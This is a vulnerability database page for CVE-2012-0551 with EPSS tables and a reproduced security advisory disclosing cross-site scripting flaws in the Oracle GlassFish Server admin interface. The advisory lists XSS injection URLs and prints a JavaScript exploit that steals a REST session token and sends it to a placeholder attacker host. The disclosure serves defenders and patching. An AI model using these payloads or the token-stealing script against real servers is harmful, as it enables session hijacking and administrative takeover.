CPE, qui signifie Common Platform Enumeration, est un système normalisé de dénomination du matériel, des logiciels et des systèmes d'exploitation. CPE fournit un schéma de dénomination structuré pour identifier et classer de manière unique les systèmes informatiques, les plates-formes et les progiciels sur la base de certains attributs tels que le fournisseur, le nom du produit, la version, la mise à jour, l'édition et la langue.
CWE, ou Common Weakness Enumeration, est une liste complète et une catégorisation des faiblesses et des vulnérabilités des logiciels. Elle sert de langage commun pour décrire les faiblesses de sécurité des logiciels au niveau de l'architecture, de la conception, du code ou de la mise en œuvre, qui peuvent entraîner des vulnérabilités.
CAPEC, qui signifie Common Attack Pattern Enumeration and Classification (énumération et classification des schémas d'attaque communs), est une ressource complète, accessible au public, qui documente les schémas d'attaque communs utilisés par les adversaires dans les cyberattaques. Cette base de connaissances vise à comprendre et à articuler les vulnérabilités communes et les méthodes utilisées par les attaquants pour les exploiter.
Services & Prix
Aides & Infos
Recherche de CVE id, CWE id, CAPEC id, vendeur ou mots clés dans les CVE
Unspecified vulnerability in the Java Runtime Environment (JRE) in Oracle Java SE 7 update 4 and earlier and 6 update 32 and earlier, and the GlassFish Enterprise Server component in Oracle Sun Products Suite GlassFish Enterprise Server 3.1.1, allows remote attackers to affect confidentiality and integrity via unknown vectors related to Web Container or Deployment.
Informations du CVE
Faiblesses connexes
CWE-ID
Nom de la faiblesse
Source
CWE Other
No informations.
Métriques
Métriques
Score
Gravité
CVSS Vecteur
Source
V2
5.8
AV:N/AC:M/Au:N/C:P/I:P/A:N
nvd@nist.gov
EPSS
EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.
Score EPSS
Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.
Date
EPSS V0
EPSS V1
EPSS V2 (> 2022-02-04)
EPSS V3 (> 2025-03-07)
EPSS V4 (> 2025-03-17)
2022-02-06
–
–
19.17%
–
–
2022-04-03
–
–
19.17%
–
–
2022-04-17
–
–
18.31%
–
–
2022-07-24
–
–
17.79%
–
–
2023-03-12
–
–
–
92.96%
–
2023-04-23
–
–
–
92.96%
–
2023-05-28
–
–
–
91.6%
–
2023-07-30
–
–
–
87.92%
–
2023-10-01
–
–
–
86.1%
–
2023-12-03
–
–
–
85.93%
–
2024-03-31
–
–
–
86.68%
–
2024-06-02
–
–
–
88.55%
–
2024-12-22
–
–
–
86.66%
–
2025-01-19
–
–
–
86.66%
–
2025-03-18
–
–
–
–
61.34%
2025-03-30
–
–
–
–
59.85%
2025-03-30
–
–
–
–
59.85,%
Percentile EPSS
Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
Date de publication : 2012-04-21 22h00 +00:00 Auteur : Roberto Suggi Liverani EDB Vérifié : No
Details
Vendor Site: Oracle (www.oracle.com)
Date: April, 19th 2012 – CVE 2012-0551
Affected Software: Oracle GlassFish Server 3.1.1 (build 12)
Researcher: Roberto Suggi Liverani
PDF version: http://www.security-assessment.com/files/documents/advisory/Oracle_GlassFish_Server_Multiple_XSS.pdf
Description
Security-Assessment.com has discovered that components of the Oracle GlassFish Server administrative web
interface are vulnerable to both reflected and stored Cross Site Scripting attacks. All pages where Cross Site
Scripting vulnerabilities were discovered require authentication.
Reflected Cross Site Scripting
Reflected Cross Site Scripting was discovered in multiple parts of the application.
The table below details where Reflected Cross Site Scripting was detected and which parameters are vulnerable:
[1] /common/applications/lifecycleEdit.jsf?appName=test%27);alert(document.cookie)//test
[2] /common/security/realms/realms.jsf?configName=default-config%22%29%3balert%281%29//test
[3] /web/grizzly/networkListeners.jsf?configName=default-configad217%22%29%3balert%281%29//test
[4] /common/security/auditModules/auditModules.jsf?configName=904895%22);alert(1);//test
[5] /common/security/jacc/jaccProviders.jsf?configName=904895%22);alert(1);//t
[6] /common/security/msgSecurity/msgSecurity.jsf?configName=904895%22);alert(1);//test
[7] /jms/jmsHosts.jsf?configName=904895%22);alert(1);//test
[8] /web/grizzly/networkListeners.jsf?configName=904895%22);alert(1);//test
[9] /web/grizzly/protocols.jsf?configName=904895%22);alert(1);//test
[10] /web/grizzly/transports.jsf?configName=904895%22);alert(1);//test
[11] /xhp?key=aquarium%27%3b%3Cscript%3Ealert%281%29%3C/script%3E//test ** Works in Internet Explorer (content sniffing)
Stored Cross Site Scripting
The table below details where Stored Cross Site Scripting was detected and which parameters are vulnerable:
Page Affected Rendered Page Method Variable
[1] /management/domain/create-password-alias - POST - id
[2] /common/appServer/pswdAliasNew.jsf - POST - propertyForm%3ApropertySheet%3ApropertSectionTextField%3AaliasNameNew%3AaliasNameNew
** requires a valid javax.faces.ViewState
Exploitation
These vulnerabilities can be exploited in several ways. One example is to include an external JavaScript file,
such as a JavaScript hook file provided by BeEF, the browser exploitation framework. In this particular case, it
is possible to steal the authentication token through the REST interface, bypassing the HTTPOnly protection adopted for the JSESSIONID token in the standard web administrative interface.
Bypassing HTTPOnly protection and token theft via REST interface
There is a feature in Oracle Glassfish Server which allows using cookie as a session management mechanism instead of Basic Authentication within the REST interface.
This feature can be misused using a Cross Site Scripting vulnerability. An exploit scenario for both stored and
reflected Cross Site Scripting vulnerabilities would be to inject a JavaScript payload which performs an XMLHTTPRequest (XHR) request to retrieve a valid session token via the REST interface.
The following exploit can be used to retrieve and steal a session token in case a user is authenticated to the REST Interface, using Basic Authentication. The token can only be used with a cookie named gfresttoken within the REST interface.
Bypassing HTTPOnly and Stealing Session Token
function retrieveToken()
{
var xmlhttp;
if (window.XMLHttpRequest)
{// code for IE7+, Firefox, Chrome, Opera, Safari
xmlhttp=new XMLHttpRequest();
}
else
{// code for IE6, IE5
xmlhttp=new ActiveXObject("Microsoft.XMLHTTP");
}
xmlhttp.onreadystatechange=function()
{
if (xmlhttp.readyState==4 && xmlhttp.status==200)
{}
}
xmlhttp.open("POST","/management/sessions",true);
xmlhttp.setRequestHeader("Accept","application/json")
xmlhttp.send();
return xmlhttp;
}
function stealToken(a)
{
jsonObj = JSON.parse(a.responseText); // token retrieved and can be sent to attacker
a = document.createElement("IMG");
a.setAttribute('src', 'http://attackersite/?token='+jsonObj.extraProperties.token);
document.body.appendChild(a); // time to grab the token
}
// this exploit works with browsers that have native JSON support
var a = retrieveToken();// perform XHR to retrieve token
setTimeout('stealToken(a);',12000); // needs time to load the token, then sends it to
attackersite
// attacker then needs to set a cookie named gfresttoken with the token value obtained. The
cookie has to be valid for the domain/IP address of the target Oracle Glassfish Server
Solution
Oracle has created a fix for this vulnerability which has been included as part of Critical Patch Update Advisory -
April 2012. Security-Assessment.com recommends applying the latest patch provided by the vendor.
For more information, visit: http://www.oracle.com/technetwork/topics/security/cpuapr2012-366314.html